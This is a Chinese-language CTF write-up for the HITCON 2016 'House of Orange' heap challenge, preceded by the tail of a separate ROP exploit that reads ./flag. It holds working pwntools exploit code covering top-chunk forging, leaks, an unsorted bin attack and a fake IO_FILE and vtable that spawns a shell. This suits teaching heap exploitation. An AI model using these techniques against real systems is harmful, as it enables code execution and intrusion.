libc_base = int (r(12 ), 16 ) li('exe_base ' + hex (exe_base)) li('libc_base ' + hex (libc_base)) li('stack_start ' + hex (stack_start)) li('stack_end ' + hex (stack_end)) pop_rdi_ret_offset = 0x1823 pop_rsi_r15_ret_offset = 0x1821 pop_rdi_ret = exe_base + pop_rdi_ret_offset pop_rsi_r15_ret = exe_base + pop_rsi_r15_ret_offset open_plt = exe_base + exe.plt['open' ] read_plt = exe_base + exe.plt['read' ] puts_plt = exe_base + exe.plt['puts' ] offset = 0xf800000 li('debug---------------' ) stack_begin_offset = stack_end - offset - 24 * 100000 li('stack_begin_offset ' + hex (stack_begin_offset)) li('stack_end ' + hex (stack_end)) fid('/proc/self/mem' ) loc(stack_begin_offset) for i in range (0 , 24 ): get(100000 ) text = ru('1.Find something' ) if '/proc/self/mem' in text: content = text.split('/proc/self/mem' )[0 ] break if i == 23 : li('not found' ) exit(0 ) v8_addr = stack_begin_offset + i * 100000 + len (content) - 0x14 li('v8_addr: ' + hex (v8_addr)) read_ret = v8_addr - (0x60 - 0x08 ) + 0x20 li('read_ret: ' + hex (read_ret)) p = '/proc/self/mem' .ljust(24 , '\x00' ) + p64(read_ret) fid(p) ''' 3 RDX 0x28 #length 1 RDI 0x0 #fd 2 RSI 0x7fd5ffbc3640 ◂— '/proc/self/mem' #buffer ''' ret = read_ret p = p64(pop_rdi_ret) + p64(ret + 15 * 8 ) p += p64(pop_rsi_r15_ret) + p64(0 ) + p64(0 ) + p64(open_plt) p += p64(pop_rdi_ret) + p64(6 ) p += p64(pop_rsi_r15_ret) + p64(ret + 15 * 8 ) + p64(0 ) + p64(read_plt) p += p64(pop_rdi_ret) + p64(ret + 15 * 8 ) + p64(puts_plt) p += './flag\x00' giv(p)def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
House Of Orange 来源 2016 ctf-HITCON
环境 libc: libc.2.23
Unbuntu16
难度 8 / 10
保护 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
简单描述 保护全开,有添加功能和编辑功能,只能添加4次,每次添加都会malloc三次分别储存不同的信息, 可以编辑三次,没有free函数,是经典的 House Of Orange漏洞利用类型.
vul 1 2 3 4 5 length = InputNum();if ( length > 0x1000 ) length = 4096 ; printf ("Name:" ); InputContent((void *)qword_203068[1 ], length);
申请大小小于0x1000时,存在堆溢出漏洞.
知识点 House of orange ( modify top chunk realize free, unsoted bin attack, small bin attack, IO_FILE)
思路 使用堆溢出修改top chunk大小(按照内存对其), 再申请一个大小大于top chunk size 的chunk,然而old top chunk就会被free掉,申请一个large bin大小的chunk,由于large bin申请成功后fd_nextsize和bk_nextsize会指向自身地址,可以泄漏heap地址,然而,申请的位置也恰好含有以前所剩的main_arena信息,所以直接打印即可泄漏libc. 后面就通过unsorted bin attack修改IO_list_all为main_arena + 0x58, 然后根据small bin管理机制,修改main_arena + 0x58处的fake IO_FILE的chain的值指向伪造的IO_FILE,而使伪造堆块满足fp->_mode
<= 0 && fp->_IO_write_ptr
> fp->_IO_write_base
然后会调用vtable中的__overflow
函数,然而我们可以伪造再一个vtable,实现在调用__overflow
的时候调用我们的函数,这里函数就改为system,传入参数需要在伪造的IO_FILE头部写入’/bin/sh\x00’然后在unsoretd bin被破坏之后再次申请时报错, 那触发异常就会打印错误信息,malloc_printerr
是malloc
中用来打印错误的函数,而 malloc_printerr其实是调用
__libc_message
函数之后调用abort
函数,abort
函数其中调用了_IO_flush_all_lockp
, 然后根据IO_list_all
中的值去遍历IO_FILE调用IO_FILE 的vtable中的 __overflow
函数指针, 然后就可以调用system 传入 ‘/bin/sh\00’ get shell
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = 'houseoforange' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) db = lambda : gdb.attach(io)def ad (size, data ): sla('Your choice : ' , str (1 )) sla('name :' , str (size)) sa('Name :' , data) sla('Price of Orange:' , str (16 )) sla('Orange:' , '1' );def md (size, data ): sla('Your choice : ' , str (3 )) sla('name :' , str (size)) sa('Name:' , data) sla('Price of Orange:' , str (16 )) sla('Orange:' , '1' );def dp (): sla('Your choice : ' , str (2 ))def q (): sla(':' , str (5 ))
修改top chunk size实现free的效果 原理 House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin),这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins
来看一下这个过程的详细情况,假设目前的top chunk已经不满足malloc的分配需求。 首先我们在程序中的malloc
调用会执行到libc.so的_int_malloc
函数中,在_int_malloc
函数中,会依次检验fastbin、small bins、unsorted bin、large bins是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc
函数会试图使用top chunk,在这里top chunk也不能满足分配的要求,因此会执行如下分支。
1 2 3 4 5 6 7 8 9 else { void *p = sysmalloc(nb, av); if (p != NULL && __builtin_expect (perturb_byte, 0 )) alloc_perturb (p, bytes); return p; }
此时ptmalloc已经不能满足用户申请堆内存的操作,需要执行sysmalloc来向系统申请更多的空间。 但是对于堆来说有mmap和brk两种分配方式,需要让堆以brk的形式拓展,之后原有的top chunk会被置于unsorted bin中。
综上,要实现brk拓展top chunk,但是要实现这个目的需要绕过一些libc中的check,首先,malloc的尺寸不能大于mmp_.mmap_threshold
1 if ((unsigned long )(nb) >= (unsigned long )(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap()分配的内存块小于设定的最大值,将使用 mmap()系统调用直接向操作系统申请内存。
在sysmalloc函数中存在对top chunk size的check,如下
1 2 3 4 assert((old_top == initial_top(av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long )old_end & pagemask) == 0 ));
这里检查了top chunk的合法性,如果第一次调用本函数,top chunk可能没有初始化,所以可能old_size为0,如果top chunk已经初始化了,那么top chunk的大小必须大于等于MINSIZE,因为top chunk中包含了 fencepost,所以top chunk的大小必须要大于MINSIZE。其次Top chunk必须标识前一个chunk处于inuse状态,并且top chunk的结束地址必定是页对齐的。此外top chunk除去fencepost的大小必定要小于所需chunk的大小,否则在_int_malloc()函数中会使用top chunk分割出chunk
总结一下伪造的top chunk size的要求
1.伪造的size必须要对齐到内存页
2.size要大于MINSIZE(0x10)
3.size要小于之后申请的chunk size + MINSIZE(0x10)
4.size的prev inuse位必须为1
之后原有的top chunk就会执行_int_free
从而顺利进入unsorted bin中
回到题中,就要得满足以上要求
1 2 3 4 5 6 7 pwndbg> x /40gx 0x555555758060 0x555555758060: 0x0000000000000000 0x0000000000020fa1 0x555555758070: 0x0000000000000000 0x0000000000000000 0x555555758080: 0x0000000000000000 0x0000000000000000 0x555555758090: 0x0000000000000000 0x0000000000000000 0x5555557580a0: 0x0000000000000000 0x0000000000000000 0x5555557580b0: 0x0000000000000000 0x0000000000000000
然而 0x555555758060 + 0x0000000000020fa1 == 0x555555779001 , 去掉inuse位,则内存是按照0x1000对齐的,则我们所能修改top chunk的大小就可以为: (x * 0x1000 + 0x20fa1) > MINSIZE(0x10) (x 属于 整数),题中在添加的时候,最多只能申请大小为0x1000,那我们就通过堆溢出把top chunk size 改为: 0x0fa1, 然后再申请大于这个top chunk size的chunk就可以实现top chunk free后成为unsoted bin
1 2 3 4 5 6 7 8 ad(0x10 , 'A' * 0x10 ) p = 'A' * 0x10 p += p64(0 ) + p64(0x21 ) p += p64(0x1f00000010 ) p += p64(0 ) p += p64(0 ) p += p64(0x00fa1 ) md(0x80 , p)
实现如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> bin fastbins0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88 ) ◂— 0x5555557580a0 smallbins empty largebins empty
Leak libc and heap addr 申请一个小于刚才释放 unsoted bin 大小的一个chunk,根据unsoted bin的分割特性,会把main_arena转移,且不会清空chunk 的fd和bk的内容,所以main_arena还存在,直接打印即可获取main_arena地址泄漏libc,但在添加的时候要输入内容,为了得到完整的main_arena地址信息,就填充8个字符到chunk bk位置从而泄漏完整地址, 为了后面要采取伪造fake IO_FILE结构,就要得修改vtable指向当前伪造的虚函数表,那就要得知道heap地址了, 那怎么泄漏 heap地址呢? 由于large bin 大小的chunk有一个特点,申请成功的chunk 的 fd_nextsize和bk_nextsize会填充为自己的地址
large bin申请成功后,会向fd_nextsize和bk_nextsize填充自己的地址代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; }
成功malloc(0x400)后填充’C’ * 8 的堆数据如下
1 2 3 4 pwndbg> x /40gx 0x5555557580c0 0x5555557580c0: 0x0000000000000000 0x0000000000000411 0x5555557580d0: 0x4343434343434343 0x00007ffff7dd2188 0x5555557580e0: 0x00005555557580c0 0x00005555557580c0
利用
1 2 3 4 5 6 7 8 9 10 11 12 ad(0x400 , 'C' * 0x8 ) dp() lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - main_arena - 1640 li('libc_base ' + hex (lib.address)) md(0x10 , 'C' * 0x10 ) dp() ru('CCCCCCCCCCCCCCCC' ) heap = u64(ru('\x0a' ).ljust(8 , '\x00' )) - 0xc0 li('heap ' + hex (heap))
触发异常劫持控制流程 怎么触发呢? 只要破坏unsorted bin 链表结构,再次申请时就会触发异常,那触发异常就会打印错误信息,malloc_printerr
是malloc
中用来打印错误的函数,而 malloc_printerr其实是调用
__libc_message
函数之后调用abort
函数,abort
函数其中调用了_IO_flush_all_lockp
, 然后根据IO_list_all
中的值去遍历IO_FILE调用IO_FILE 的vtable中的 __overflow
函数指针
unsorted bin attack 修改 _IO_list_all
如何进行劫持,采用修改old top chunk 的结构,使之报错,然而我们只需要采用unsorted bin attack修改_IO_list_all
的值为unsorted_chunks(av)也就是main_arena + 0x58.修改这个有什么用? 本来_IO_list_all
的值是指向_IO_2_1_stderr
,若修改这个值,那么在malloc报错的时候就会遍历_IO_list_all
指向的IO_FILE结构体,详细后面会说道.
unsorted bin attack 实现攻击源码
1 2 3 4 5 6 7 8 9 if (in_smallbin_range(nb) && bck == unsorted_chunks(av) && victim == av->last_remainder && (unsigned long ) (size) > (unsigned long ) (nb + MINSIZE)) { .... } unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);
实现修改如下
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> x /10gx &_IO_list_all 0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 0x0000000000000000 0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000 0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000 pwndbg> x /10gx 0x00007ffff7dd1b78 0x7ffff7dd1b78 <main_arena+88>: 0x000055555577a010 0x00005555557584f0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557584f0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
利用
1 2 3 4 5 6 7 8 9 10 p = 'B' * 0x400 p += p64(0 ) p += p64(0x21 ) p += 'B' * 0x10 f = p64(0 ) f += p64(0x100 ) f += p64(0 ) + p64(_IO_list_all - 0x10 )
劫持流程 若下次申请大小为0x10的时候, 由于unsorted bin 的结构已经被修改, 0x10 <= 2*SIZE_SZ,就会触发malloc_printerr
1 2 3 4 5 6 7 8 9 10 11 for (;; ) { int iters = 0 ; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (victim->size > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av); size = chunksize (victim);
那么在执行malloc_printerr函数就会执行到_IO_flush_all_lockp
, 来了解一下_IO_flush_all_lockp
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; FILE *fp;#ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock);#endif for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; }#ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 );#endif return result; }
在_IO_flush_all_lockp
函数中会根据_IO_list_all
中的值,依次遍历IO_FILE,那我们就想法设法构建自己的IO_FILE,若IO_FILE满足fp->_mode
<= 0 && fp->_IO_write_ptr
> fp->_IO_write_base
然后会调用vtable中的__overflow
函数,我们就可以伪造一个vtable,实现在调用__overflow
的时候调用我们的函数
来了解一下IO_FILE_plus结构体.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 struct _IO_FILE_plus (size_of =0x78 +0x8 ) { _IO_FILE file; const struct _IO_jump_t *vtable ; }; struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE };struct _IO_FILE_complete { struct _IO_FILE _file ;#endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset;# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf;# else void *__pad1; void *__pad2; void *__pad3; void *__pad4;# endif size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )];#endif };
vtable表中结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); //后面通过伪造IO_FILE使 会调用此函数指针,就修改这个为system JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); get_column; set_column; };
后面就将这个__overflow
修改为system, 然而在调用这些函数指针的时候,传入的参数是IO_FILE的地址,所以后面我们需要在自己伪造的IO_FILE的头部填入’/bin/sh\x00’,若能使_IO_flush_all_lockp
函数在遍历的时候遍历到我们伪造的IO_FILE,且IO_FILE满足_IO_overflow
函数的调用条件, 这样就能实现get shell,那么怎样才能让我们伪造的IO_FILE连接到我们自己伪造的IO_FILE呢?
那使用unsorted bin attack修改_IO_list_all
中main_arena + 0x58,后面就要得修改main_arena + 0x58处fkae IO_FILE的 chain为我们的fake IO_FILE地址,这样在执行_IO_flush_all_lockp
就会根据自己伪造的IO_FILE调用我们所伪造的vtable函数了.但关键是怎样使_IO_flush_all_lockp
在遍历 IO_FILE的时候能遍历到我们伪造的IO_FILE,就要靠下面的操作了.
修改main_arena fake file中的chain 指向我们即将伪造的IO_FILE 上面的_chain
的值是我们重点要如何在main_arena + 0x58处IO_FILE中设置这个值为咱们可以掌控的fake IO_FILE地址,然而unsorted bin的链表结构已经被破坏,再次申请的时候,old top chunk就不受unsorted bin 管理,注意若大小小于0x400 的bin的管理顺序为unsorted bin -> small bin,若我们修改old top chunk size 为小于0x400,就可以让当前chunk受small bin进行管理,而在small bin管理的时候, 各个大小的bin的链表头部地址会储存在main_arena中,若我们想要实现修改 main_arena + 0x58处 IO_FILE中的 _chain
的值,就需要靠small bin的管理机制来进行修改
若我们能够计算好大小,就能实现在main_arena部分内存中储存我们的chunk地址.下面为修改old top chunk大小为0x50所看到main_arena + 0x58中IO_FILE的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 pwndbg> p *((struct _IO_FILE_plus*)((long int)&main_arena + 0x58))$4 = { file = { _flags = 1433903120, _IO_read_ptr = 0x5555557584f0 "/bin/sh" , _IO_read_end = 0x5555557584f0 "/bin/sh" , _IO_read_base = 0x7ffff7dd2510 "" , _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU" , _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU" , _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177" , _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177" , _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177" , _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177" , _IO_backup_base = 0x5555557584f0 "/bin/sh" , _IO_save_end = 0x5555557584f0 "/bin/sh" , _markers = 0x7ffff7dd1bc8 <main_arena+168>, _chain = 0x7ffff7dd1bc8 <main_arena+168>, _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335' , _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" }, vtable = 0x7ffff7dd1c38 <main_arena+280> } pwndbg> bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all [corrupted] FD: 0x5555557584f0 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x5555557584f0 BK: 0x7ffff7dd2510 ◂— 0x0 smallbins 0x50: 0x5555557584f0 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x5555557584f0 largebins empty
那么还差0x10,就改old top chunk size 为0x60,即可在main_arena 向下偏移0x10进行储存,这就实现了在main_arena + 0x58伪造IO_FILE中实现连接我们伪造的IO_FILE,实现效果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 pwndbg> p *((struct _IO_FILE_plus*)0x00007ffff7dd1b78)$2 = { file = { _flags = 1433903120, _IO_read_ptr = 0x5555557584f0 "/bin/sh" , _IO_read_end = 0x5555557584f0 "/bin/sh" , _IO_read_base = 0x7ffff7dd2510 "" , _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU" , _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\360\204uUUU" , _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177" , _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177" , _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177" , _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177" , _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177" , _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177" , _markers = 0x5555557584f0, _chain = 0x5555557584f0, //这里指向 old top chunk,也就是我们伪造的堆块 _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335' , _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" }, vtable = 0x7ffff7dd1c38 <main_arena+280> } pwndbg> x /40gx 0x5555557584f0 0x5555557584f0: 0x0068732f6e69622f 0x0000000000000061 0x555555758500: 0x00007ffff7dd1bc8 0x00007ffff7dd1bc8 0x555555758510: 0x0000000000000000 0x0000000000000001 0x555555758520: 0x0000000000000000 0x0000000000000000 0x555555758530: 0x0000000000000000 0x0000000000000000 0x555555758540: 0x0000000000000000 0x0000000000000000 0x555555758550: 0x0000000000000000 0x0000000000000000
利用如下:
1 2 3 4 5 6 7 8 9 10 11 p = 'B' * 0x400 p += p64(0 ) p += p64(0x21 ) p += 'B' * 0x10 f = '/bin/sh\x00' f += p64(0x61 ) f += p64(0 ) + p64(_IO_list_all - 0x10 )
伪造IO_FILE 上面就实现了修改main_arena + 0x58 中 fake IO_FILE的_chain
指向我们的old top chunk,那么就在old top chunk伪造IO_FILE,在伪造的时候必须要得通过检查
1 2 3 4 5 6 7 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
则fp->_mode
<= 0 且fp->_IO_write_ptr
> fp->_IO_write_base
且_IO_vtable_offset
(fp) == 0,这样才能执行_IO_OVERFLOW (fp, EOF) == EOF)
那么利用就可以这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 f = '/bin/sh\x00' f += p64(0x61 ) f += p64(0 ) f += p64(_IO_list_all - 0x10 ) f += p64(0 ) f += p64(1 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p32(0 ) f += p32(0 ) f += p64(1 ) f += p16(2 ) f += p8(3 ) f += p8(4 ) f += p32(0 ) f += p64(0 ) f += p64(6 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p32(0 ) f += p32(0 )
修改结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwndbg> p *((struct _IO_FILE_plus*)0x5555557584f0)$1 = { file = { _flags = 1852400175, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x0, _IO_read_base = 0x7ffff7dd2510 "" , _IO_write_base = 0x0, _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 1, _cur_column = 2, _vtable_offset = 3 '\003' , _shortbuf = "\004" , _lock = 0x0, _offset = 6, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times > }, vtable = 0x5555557585c8 }
伪造 vtable 1 2 3 4 5 6 7 p += f p += p64(0 ) * 3 p += p64(heap + 0x5c8 ) p += p64(0 ) * 2 p += p64(lib.sym['system' ]) md(0x600 , p)
修改结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg> p *((struct _IO_FILE_plus*)0x5555557584f0).vtable$2 = { __dummy = 93824994346440, __dummy2 = 0, __finish = 0x0, __overflow = 0x7ffff7a52390 <__libc_system>, __underflow = 0x0, __uflow = 0x0, __pbackfail = 0x0, __xsputn = 0x0, __xsgetn = 0x0, __seekoff = 0x0, __seekpos = 0x0, __setbuf = 0x0, __sync = 0x0, __doallocate = 0x0, __read = 0x0, __write = 0x0, __seek = 0x0, __close = 0x0, __stat = 0x0, __showmanyc = 0x0, __imbue = 0x0 }
getshell 再次申请 0x10的时候, 由于unsorted bin 的结构已经被修改, 0x10 <= 2*SIZE_SZ,就会触发malloc_printerr,然后就开始执行各种已经布局好的各种trick,最终执行到system get shell
1 2 3 4 5 6 7 8 9 10 11 for (;; ) { int iters = 0 ; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (victim->size > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av); size = chunksize (victim);
